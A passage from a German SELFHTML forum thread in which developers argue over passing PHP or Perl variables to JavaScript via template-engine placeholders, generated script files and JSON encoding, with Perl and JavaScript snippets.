gar keine Variable weil, bis auf wenige Ausnahmen, sämtliche AJAX//Fetch Requests die eine Seite feuern soll, stets auf sich selbst gerichtet sind. Was daran sollte denn da einen Test erschweren? Das Gegenteil ist der Fall!</p> </blockquote> <p>Und auch hier würde die Ausnahme dazu führen daß ein Platzhalter gesetzt wird. Beispiel Konfiguration:</p> <pre><code class="block">[/sunrise.html] xhr_url = http://example.org/sunrise </code></pre> <p>Beim Bau der Response wird der entsprechende Platzhalter in den STASH gesetzt:</p> <pre><code class="block language-perl"><span class="token comment"># Interface Methode</span> <span class="token keyword">sub</span> <span class="token function">init</span><span class="token punctuation">{</span> <span class="token keyword">my</span> <span class="token variable">$self</span> <span class="token operator">=</span> shift<span class="token punctuation">;</span> <span class="token variable">$self</span><span class="token operator">-></span><span class="token punctuation">{</span>STASH<span class="token punctuation">}</span><span class="token punctuation">{</span>xhr_url<span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token variable">$self</span><span class="token operator">-></span>eav<span class="token punctuation">(</span><span class="token string">'xhr_url'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> </code></pre> <p>Und schließlich zum Rendern sowohl STASH (Datenversteck) als auch Template übergeben:</p> <pre><code class="block language-perl"><span class="token variable">$self</span><span class="token operator">-></span>render<span class="token punctuation">(</span><span class="token variable">$self</span><span class="token operator">-></span><span class="token punctuation">{</span>BODY<span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token variable">$self</span><span class="token operator">-></span><span class="token punctuation">{</span>STASH<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </code></pre> <p>So daß in der ausgelieferten Response dann das Template</p> <pre><code class="block language-js">xhr<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"GET"</span><span class="token punctuation">,</span><span class="token string">"%xhr_url%?"</span><span class="token operator">+</span>params<span class="token punctuation">)</span><span class="token punctuation">;</span> </code></pre> <p>zu</p> <pre><code class="block language-js">xhr<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"GET"</span><span class="token punctuation">,</span><span class="token string">"http://example.org/sunrise?"</span><span class="token operator">+</span>params<span class="token punctuation">)</span><span class="token punctuation">;</span> </code></pre> <p>gerendert wird. Das Bereitstellen von Variablen aus der Konfiguration heraus über Platzhalter in das Template ist also eine ganz normale Sache und sozusagen Alltag im Geschäftsleben eines Framework.</p> <p>MfG</p> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 19:14:10 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720760#m1720760 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720760#m1720760 <p>Hallo pl,</p> <p>was für ein Roman. Sorry, das wird mir zu anstrengend. Aber ein paar Anmerkungen kann ich mir nicht verkneifen:</p> <blockquote> <p>D.h., im Effekt ist es es gar keine Variable weil, bis auf wenige Ausnahmen, sämtliche AJAX//Fetch Requests die eine Seite feuern soll, stets auf sich selbst gerichtet sind.</p> </blockquote> <p><strong>Stets</strong> ist hier ein großes Wort, denn so kann man es machen, muss man aber nicht. Man kann die Ajax-Services, die eine Seite braucht, in ihr implementieren und per URL-Parameter sozusagen abrufen, welche Funktionsvariante man von der Seite haben will. Dein Framework routet das vermutlich transparent. Ohne ein solches Framework würde ich eigentlich zwischen UI und API trennen wollen, d.h. die Requests, die für das HTML zuständig sind, sind eine Kategorie von Script und das, was ich dem Client als API bereitstelle, etwas anderes. In den tieferen Application-Schichten mag es auf das Instanziieren ähnlicher oder gleicher Klassen hinauslaufen, aber eine UI Fassade und eine AJAX-Fassade haben doch unterschiedliche Anforderungen</p> <blockquote> <p>Mitnichten sieht da ein JS jederzeit anders aus, vielmehr sieht es immer genauso aus wie es für die jeweilige Seite erzeugt wurde</p> </blockquote> <p>Hier steckt dein Fehler: Dur würdest das JS nicht allgemein für eine Seite generieren, sondern für eine Seite, die für bestimmte Seitenparameter abgerufen wurde. Die sind userspezifisch, ggf. ruft der User die gleiche Seite mit unterschiedlichen Parametern (z.B. Produkt-ID) ab. In dem Moment wäre Caching des JS falsch. Die Tests, die ich meinte, wären übrigens Unit-Tests, d.h. automatisierte Tests der im JS implementierten Funktionen. Wenn mein Unit-Test damit beginnt, dass er das zu testende Programm erstmal generieren muss, habe ich zwei Test-Ebenen auf einmal: (a) die PHP oder Perl-Ebene, bei der ich testen muss, ob die Generierung korrekt ist, und (b) die JavaScript-Ebene, bei der ich testen muss, ob das generierte Programm das Richtige tut. Wenn aus dem Templating heraus nur ein paar Konstanten gesetzt werden, deren Inhalte keine Abläufe im JavaScript-Teil beeinflussen, kann man die Unit-Tests trennen. Aber dann ist die Generierung des kompletten JS per Template eigentlich Overkill. Wird das Templating komplexer, habe ich Unit-Tests über zwei Sprachebenen hinweg. Grusel...</p> <blockquote> <p>Die TE wird also generell geladen, nur der Renderprozess kann abgeschaltet werden wenn er nicht gebraucht wird</p> </blockquote> <p>Ja. Und wenn er nicht gebraucht wird, hast Du statischen Inhalt - oder? Warum dann über Perl/PHP laufen?</p> <blockquote> <p>Und jetzt stell Dir mal vor, der URL für eine Seite wäre zu ändern. Das würde unweigerlich eine Änderung sämtlicher JS Dateien nach sich ziehen in denen der URL fest codiert ist!</p> </blockquote> <p>Auf die Idee, eine URL in JS fix zu codieren, käme ich nicht. Das wäre ein Fall für Dateninjektion über ein Script-Tag in der HTML-Seite, die das JS einbindet. Für diese Injektion würde ich NICHT das JS über eine TE laufen lassen, um über die (vielleicht fehlende?) Referer-Information die URL einzuschießen (oder über URL-Parameter).</p> <blockquote> <p>Dann kann man auch mit <script src="%url%?js=ext"></script> ganze Code-Teile für JS dynamisch erzeugen</p> </blockquote> <p>Nein nein nein, das ist ein Irrweg. Bei <code><script src="?js=ext"></script></code> war ich noch mit einem „wenn's denn sein muss“ dabei, aber deine %url% Variable enthält vermutlich auch die Query-Parameter der URL - und dann fällst Du rein bzw. musst aufpassen, ob Du <code>?js=ext</code> oder <code>&js=ext</code> anfügst. Sag nicht, %url% enthält die Queryparameter grundsätzlich nicht; das ist genauso kritisch, weil die Queryparameter oft genug entscheidende Kontextinformationen liefern, die den dargestellten Seiteninhalt und damit auch die Anforderungen an generiertes JS beeinflussen.</p> <p>Ich werde die Disku hier für mich abbrechen; sicherlich kann man deinen Weg gehen und Du wirst damit auch ans Ziel kommen, aber die Komplexität und Fehleranfälligkeit ist viel höher als wenn man statisches JS lädt und benötigte Daten per Mini-Script aus dem HTML injiziert. Das DASS der Fall ist, hast Du hinreichend in der Diskussion belegt.</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 08:41:37 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720719#m1720719 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720719#m1720719 <p>hallo</p> <blockquote> <p>Tach!</p> <blockquote> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token keyword">var</span> <span class="token constant">SID</span> <span class="token operator">=</span> <span class="token string">"%sid%"</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> %loop_hrefcss% <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>%hrefcss%<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text/css<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> %endloop% <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>title</span><span class="token punctuation">></span></span> %title% <span class="token tag"><span class="token tag"><span class="token punctuation"></</span>title</span><span class="token punctuation">></span></span> </code></pre> </blockquote> <p>Das sieht mir so aus, als ob dieses Beispiel vereinfacht ist und deshalb kein kontextgerechtes Behandeln zu sehen ist,</p> </blockquote> <p>Das muss auch so aussehen, weil ja hier ja nur eine Seite von replace-data demonstriert wurde.</p> <p>Eine template engine ist ein sehr flexibles Modul/Klasse, dem data übergeben wird. Zu solchen gehören:</p> <ul> <li>Usersprache (zur Benutzung mehrsprachig definierter Standardlabels)</li> <li>Codesprache (welche Syntax, wird verwendet)</li> <li>Vorlagenadresse (was für ein Baustein sollen erzeugt werden)</li> <li>Textdata, inklusive Flags (welche Daten müssen eingesetzt werden, Flags für z.B. Ausnahmen in Kontextbehandlung, ).</li> <li>Codebeautify (falls erwünscht).</li> </ul> <p>Damit man von einer Engine sprechen kann, müssen die Komponenten folgendes aufweisen:</p> <ul> <li>einheitliche API</li> <li>einheitliche Schlüsselform mit Garantie, dass keine Störungen erscheinen.</li> <li>die Bausteine werden separat von der Engine verwaltet.</li> <li>Dokumentation.</li> </ul> <p>Und nun der Wehrmutstropfen. in der Verwendung wiederholen sich Dinge weniger oft, so dass template Engines nur für grosse Sites den Aufwand wert sind.</p> <p>Liegt in der Engine ein Designfehler vor, der alle templates betrifft, hat man sich selber zum Narren gemacht.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 08:56:56 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720720#m1720720 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720720#m1720720 <p>hi,</p> <blockquote> <p>Und nun der Wehrmutstropfen. in der Verwendung wiederholen sich Dinge weniger oft, so dass template Engines nur für grosse Sites den Aufwand wert sind.</p> </blockquote> <p>Nein. Vielmehr lohnt sich eine TE grundsätzlich und ist für ein Framework was Platzhalter in jeder Seite ermöglicht, obligatorisch.</p> <p>Darüber hinaus gibt es ungezählte weitere Aufgaben die man mit einer TE, weil sie ja ohnehin geladen wurde, so ganz nebenbei erledigen kann, z.B. die Erzeugung von XML oder CSV Dateien und auch die robots.txt. Und sei es nur, die TE dazu zu verwenden, den Code besser lesbar zu machen, bspw. als besserer Ersatz für sprintf() und überhaupt für jede Art von Stringverkettung.</p> <p>Zum Erzeugen von MIME Mails verwende ich übrigens auch eine TE. Infolgedessen dass die TE Loops kann, ist die Erzeugung von Mails mit mehreren Dateianlagen recht einfach und vor allem mit lesbarem Code möglich.</p> <p>MfG</p> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 09:06:35 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720721#m1720721 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720721#m1720721 <p>hallo</p> <blockquote> <p>Nein. Vielmehr lohnt sich eine TE grundsätzlich und ist für ein Framework was Platzhalter in jeder Seite ermöglicht, obligatorisch.</p> </blockquote> <p>Da liegt ein Kategorenirrtum vor. Eine Seite ist das, was beim User ankommt.</p> <blockquote> <p>Darüber hinaus gibt es ungezählte weitere Aufgaben die man mit einer TE, weil sie ja ohnehin geladen wurde, so ganz nebenbei erledigen kann, z.B. die Erzeugung von XML oder CSV Dateien und auch die robots.txt.</p> </blockquote> <p>Zeig doch mal, wie deine Engine dein in einem früheren Posting dargestelltes Template + Data verarbeitet. Dann reden wir weiter.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 09:22:07 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720722#m1720722 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720722#m1720722 <blockquote> <p>Zeig doch mal, wie deine Engine dein in einem früheren Posting dargestelltes Template + Data verarbeitet.</p> </blockquote> <p>Ganz einfach: <code>$out = $self->render($template, $platzhalter);</code></p> <p>Und als sprintf() Ersatz, Stingverkettung Beispiel:</p> <pre><code class="block language-perl"><span class="token keyword">my</span> $<span class="token regex">m = bless{}; print $m->render(q( %anr% %name%, %vname%, geb. im Jahr %jahr% hat folgende Gegenstände in seinem Besitz: %loop_things% %anz% %thing%%endloop% ), { jahr =</span><span class="token operator">></span> <span class="token number">1947</span><span class="token punctuation">,</span> anr <span class="token operator">=></span> <span class="token string">'Herr'</span><span class="token punctuation">,</span> vname <span class="token operator">=></span> <span class="token string">'Hans'</span><span class="token punctuation">,</span> name <span class="token operator">=></span> <span class="token string">'Wurst'</span><span class="token punctuation">,</span> things <span class="token operator">=></span> <span class="token punctuation">[</span> <span class="token punctuation">{</span>thing <span class="token operator">=></span> <span class="token string">'Stühle'</span><span class="token punctuation">,</span> anz <span class="token operator">=></span> <span class="token number">3</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span>thing <span class="token operator">=></span> <span class="token string">'Tisch'</span><span class="token punctuation">,</span> anz <span class="token operator">=></span> <span class="token number">1</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span>thing <span class="token operator">=></span> <span class="token string">'Schränke'</span><span class="token punctuation">,</span> anz <span class="token operator">=></span> <span class="token number">2</span><span class="token punctuation">}</span> <span class="token punctuation">]</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </code></pre> <blockquote> <p>Dann reden wir weiter.</p> </blockquote> <p>Nach dem Rendern:</p> <pre><code class="block"> Herr Wurst, Hans, geb. im Jahr 1947 hat folgende Gegenstände in seinem Besitz: 3 Stühle 1 Tisch 2 Schränke </code></pre> <p>MfG</p> <p>PS: Poste mal die dem entsprechende Stringverkettung in PHP </p> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 09:37:38 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720723#m1720723 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720723#m1720723 <p>hallo</p> <blockquote> <blockquote> <p>Zeig doch mal, wie deine Engine dein in einem früheren Posting dargestelltes Template + Data verarbeitet.</p> </blockquote> </blockquote> <blockquote> <p>Ganz einfach: <code>$out = $self->render($template, $platzhalter);</code></p> </blockquote> <blockquote> <blockquote> <p>Dann reden wir weiter.</p> </blockquote> </blockquote> <p>Ich habe zudem nach dem WIE gefragt, nicht nach dem DASS.</p> <p>Es würde besonders ein Beispiel interessieren, das html erzeugt.</p> <blockquote> <p>PS: Poste mal die dem entsprechende Stringverkettung in PHP </p> </blockquote> <p>Wieder ein Kategorienfehler, ein zweifacher sogar. Denn hier gehts nicht um perl versus php. ausserdem kennt auch php <a href="https://secure.php.net/manual/de/function.sprintf.php" rel="nofollow noopener noreferrer">sprintf()</a>.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 10:52:05 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720727#m1720727 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720727#m1720727 <blockquote> <p>Es würde besonders ein Beispiel interessieren, das html erzeugt.</p> </blockquote> <p>Das sieht genauso aus wie das Textbeispiel. HTML ist auch nur Text, nur daß da HTML Elements runstrum sind:</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>ul</span><span class="token punctuation">></span></span> %loop_items% <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>li</span><span class="token punctuation">></span></span> %item%, %descr%, %author% <span class="token tag"><span class="token tag"><span class="token punctuation"></</span>li</span><span class="token punctuation">></span></span> %endloop% <span class="token tag"><span class="token tag"><span class="token punctuation"></</span>ul</span><span class="token punctuation">></span></span> </code></pre> <p>Tabellen analog. Und neben literalen Platzhaltern und Loops sollte jede TE auch boolsche Ausdrücke kennen, z.B.</p> <pre><code class="block language-html">%if_browse% <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>p</span><span class="token punctuation">></span></span> Ein bischen aufbrowsender Text.. <span class="token tag"><span class="token tag"><span class="token punctuation"></</span>p</span><span class="token punctuation">></span></span> %else% <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>p</span><span class="token punctuation">></span></span> Hier gibt es keine Browse! <span class="token tag"><span class="token tag"><span class="token punctuation"></</span>p</span><span class="token punctuation">></span></span> %endif% </code></pre> <p>Und selbstverständlich dürfen boolsche Platzhalter auch in Loops Verwendung finden. Wie auch dazu dienen, bestimmte Bereiche in einem Template vorzuhalten. Es ist jedoch zweckmäßig, eine ganze Response vom typ text/html in mehrere Templates aufzuteilen. Z.B. head, body, footer. Aber das kann letztlich jeder machen wie er es für richtig hält.</p> <p>printf(), sprintf() sind ja im Grunde auch TE's. Nur daß sie halt nicht so komfortabel sind. Perl ermöglicht darüber hinaus per <strong>DATA</strong> Token eine saubere Trennung von Code und Template wobei beides zusammen in einer Datei vereint ist.</p> <p>In Methoden die in eine dedizierte Datei ausgelagert wurden, steht der <strong>DATA</strong> Token ebenfals zur Verfügung.</p> <p>Untenstehend noch das Beispiel zum konkreten Fall:</p> <pre><code class="block language-perl"><span class="token keyword">sub</span> <span class="token function">control</span><span class="token punctuation">{</span> <span class="token keyword">my</span> <span class="token variable">$self</span> <span class="token operator">=</span> shift<span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span> <span class="token variable">$self</span><span class="token operator">-></span>param<span class="token punctuation">(</span><span class="token string">'js'</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token keyword">local</span> <span class="token variable">$/</span> <span class="token operator">=</span> <span class="token keyword">undef</span><span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$tt</span> <span class="token operator">=</span> <span class="token filehandle symbol"><DATA></span><span class="token punctuation">;</span> <span class="token variable">$self</span><span class="token operator">-></span><span class="token punctuation">{</span>CONTENT<span class="token punctuation">}</span> <span class="token operator">=</span> <span class="token variable">$self</span><span class="token operator">-></span>render<span class="token punctuation">(</span><span class="token variable">$tt</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> localtime <span class="token operator">=></span> localtime<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> remote_addr <span class="token operator">=></span> <span class="token variable">$ENV</span><span class="token punctuation">{</span>REMOTE_ADDR<span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$self</span><span class="token operator">-></span>header<span class="token punctuation">(</span> <span class="token string">'Content-Type'</span> <span class="token operator">=></span> <span class="token string">'text/javascript'</span><span class="token punctuation">,</span> <span class="token string">'Last-Modified'</span> <span class="token operator">=></span> <span class="token operator">..</span><span class="token punctuation">,</span> <span class="token string">'Expires'</span> <span class="token operator">=></span> <span class="token operator">..</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> __DATA__ <span class="token regex">/* JavaScript zum Nachladen */</span> var localtime <span class="token operator">=</span> <span class="token string">'%localtime%'</span><span class="token punctuation">;</span> var remote_addr <span class="token operator">=</span> <span class="token string">'%remote_addr%'</span><span class="token punctuation">;</span> </code></pre> <p>Per <code><script src="%url%?js=1"></script></code> wird das dann eingebunden womit für JS im Browser serverseitige Variablen verfügbar gemacht werden können.</p> <p>MfG</p> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 11:28:49 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720732#m1720732 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720732#m1720732 <p>Zeig mir, WIE das ...</p> <pre><code class="block"> <ul> %loop_items% <li> %item%, %descr%, %author% </li> %endloop% </ul> </code></pre> <p>... hier ...</p> <blockquote> <pre><code> my $tt = <DATA>; $self->{CONTENT} = $self->render($tt, { localtime => localtime(), remote_addr => $ENV{REMOTE_ADDR} }); </code></pre> </blockquote> <p>... verarbeitet wird.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 15:32:06 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720744#m1720744 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720744#m1720744 <p>Du könntest Dir HTML::Template anschauen damit Du mal siehst wie ein relativ einfaches Templatesystem in Perl programmiert ist. MfG</p> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 12:20:30 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720734#m1720734 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720734#m1720734 <p>hallo</p> <blockquote> <p>Hallo,</p> <blockquote> <p>Schreibe einen Javascript Block in PHP mit der Ausgabe</p> <pre><code class="block language-javascript"><span class="token operator"><</span>script<span class="token operator">></span> <span class="token keyword">var</span> myVarsByServerDef<span class="token operator">=</span><span class="token punctuation">{</span> <span class="token string-property property">"var1"</span><span class="token operator">:</span><span class="token string">"value1"</span><span class="token punctuation">,</span> <span class="token string-property property">"var2"</span><span class="token operator">:</span><span class="token string">"value2"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token operator"><</span><span class="token operator">/</span>script<span class="token operator">></span> </code></pre> </blockquote> <p>Aber bitte nicht so,</p> </blockquote> <p>Ich habe keine einzige Zeile PHP verwendet.</p> <blockquote> <p>sondern a) per json_encode das Objekt erzeugen und</p> </blockquote> <p>Ich habe nicht definiert, wie die Ausgabe zu erzeugen ist.</p> <blockquote> <p>b) an Kontextwechsel denken ("</script" in den Values).</p> </blockquote> <p>Natürlich, das muss man immer.</p> <p>Wenn du jetzt gesagt hättest, dass mein Code zu einem JS-Fehler führt, hättest du meine Reaktion erspart. Vielleicht tut er es ja.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen Sat, 28 Apr 18 14:16:30 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720737#m1720737 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720737#m1720737 <p>hallo</p> <p>Das folgende ist eine funktionierende Implementation um Perl Arrays oder Hashes innerhalb von <script> Elementen als JS Objekte zu erzeugen.</p> <pre><code class="block language-perl"> Use Json<span class="token punctuation">;</span> <span class="token comment">#Beispieldata</span> <span class="token keyword">my</span> <span class="token variable">$arrayref</span><span class="token operator">=</span><span class="token punctuation">[</span> <span class="token string">"example>1"</span><span class="token punctuation">,</span> <span class="token string">"example>2"</span><span class="token punctuation">,</span> <span class="token string">"<>\"'&&"</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$hashref</span><span class="token operator">=</span> <span class="token punctuation">{</span> a<span class="token operator">=></span><span class="token string">"example>1"</span><span class="token punctuation">,</span> b<span class="token operator">=></span><span class="token string">"example>2"</span><span class="token punctuation">,</span> c<span class="token operator">=></span><span class="token string">"<>\"'&&"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">#Anwendung</span> <span class="token keyword">print</span> perldata_to_htmlscript_ob<span class="token punctuation">(</span> <span class="token punctuation">{</span> var1 <span class="token operator">=></span> <span class="token variable">$arrayref</span><span class="token punctuation">,</span> var2<span class="token operator">=></span> <span class="token variable">$hashref</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"># Die Funktion</span> <span class="token keyword">sub</span> <span class="token function">perldata_to_htmlscript_ob</span><span class="token punctuation">{</span> <span class="token keyword">my</span> <span class="token variable">$hash_of_objects</span> <span class="token operator">=</span> shift<span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$result</span> <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span> <span class="token keyword">foreach</span><span class="token punctuation">(</span> keys <span class="token variable">%</span><span class="token punctuation">{</span> <span class="token variable">$hash_of_objects</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$result</span> <span class="token operator">.=</span> <span class="token string">"var "</span><span class="token operator">.</span> <span class="token variable">$_</span><span class="token operator">.</span><span class="token string">" = "</span> <span class="token operator">.</span> encode_json<span class="token punctuation">(</span> <span class="token variable">$hash_of_objects</span><span class="token operator">-></span><span class="token punctuation">{</span><span class="token variable">$_</span><span class="token punctuation">}</span> <span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string">"\n"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> sprintf<span class="token punctuation">(</span><span class="token string">"<script>\n//<!--\n%s\n// -->\n</script>\n"</span><span class="token punctuation">,</span><span class="token variable">$result</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> </code></pre> <p>Statt html_escape wird eine Syntax verwendet, die die Interpretation als html abschaltet.</p> <p>Das lässt sich sehr leicht nach PHP portieren.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Variable von PHP nach JAVASCRIPT übergeben Sat, 28 Apr 18 19:27:09 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720762#m1720762 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720762#m1720762 <p>Hallo,</p> <blockquote> <blockquote> <p>Aber bitte nicht so,</p> </blockquote> </blockquote> <p>Ich gebe zu, dass die Zeile offensiver klingt als das sie gemeint war - sry dafür.</p> <blockquote> <p>Ich habe keine einzige Zeile PHP verwendet. [...] Ich habe nicht definiert, wie die Ausgabe zu erzeugen ist.</p> </blockquote> <p>Ich habe aus der Ausgabe geschlossen, dass du den Block "per Hand" erzeugen würdest - etwas, wovon ich aus eigener Erfahrung nur abraten kann. Daher wollte ich den Hinweis auf json_encode (analog natürlich andere JSON-erzeugende Konstrukte in anderen Sprachen) geben, um einen kompletten Vektor an Fehlern zu verhindern.</p> <blockquote> <p>Wenn du jetzt gesagt hättest, dass mein Code zu einem JS-Fehler führt, hättest du meine Reaktion erspart.</p> </blockquote> <p>Ich sage mal nichts zu der Reaktion, da ich sie durch meinen unglücklichen Eingangssatz ja zum Teil provoziert habe. Aber alleine an dem potentiellen Fehler sieht man bereits, dass JS per Hand zu erzeugen i.d.R. der falsche Ansatz ist und von einer guten Antwort (deine Antwort wurde ja positiv bewertet) hätte <em>ich</em> den Hinweis auch erwartet. Aber vielleicht ist ja nur meine Erwartungshaltung falsch, also nichts für ungut.</p> <p>/EOT</p> <p>Viele Grüße Matti</p> Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen Sat, 28 Apr 18 16:31:28 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720748#m1720748 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720748#m1720748 <p>Warum so umständlich?</p> <pre><code class="block language-perl"><span class="token keyword">use</span> JSON<span class="token punctuation">;</span> <span class="token comment">#Beispieldata</span> <span class="token keyword">my</span> <span class="token variable">$arrayref</span><span class="token operator">=</span><span class="token punctuation">[</span> <span class="token string">"example>1"</span><span class="token punctuation">,</span> <span class="token string">"example>2"</span><span class="token punctuation">,</span> <span class="token string">"<>\"'&&"</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$hashref</span><span class="token operator">=</span> <span class="token punctuation">{</span> a<span class="token operator">=></span><span class="token string">"example>1"</span><span class="token punctuation">,</span> b<span class="token operator">=></span><span class="token string">"example>2"</span><span class="token punctuation">,</span> c<span class="token operator">=></span><span class="token string">"<>\"'&&"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> printf <span class="token string">q( <script> //<!-- var var1 = %s var var2 = %s // --> </script> )</span><span class="token punctuation">,</span> encode_json<span class="token punctuation">(</span><span class="token variable">$arrayref</span><span class="token punctuation">)</span><span class="token punctuation">,</span> encode_json<span class="token punctuation">(</span><span class="token variable">$hashref</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </code></pre> <p>macht genau daselbe und ja, es heißt <code>use JSON;</code>!!! Also bitte Groß/Kleinschreibung beachten insbesondere wenn Beispielcode gepostet wird dann richtig!</p> <p>MfG</p> Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen Sat, 28 Apr 18 16:46:42 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720754#m1720754 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720754#m1720754 <p>hallo</p> <blockquote> <p>macht genau daselbe</p> </blockquote> <p>Das nennt man dann wohl rerefactoring.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen Sat, 28 Apr 18 17:44:30 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720758#m1720758 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1720758#m1720758 <p>hallo</p> <blockquote> <blockquote> <p>macht genau 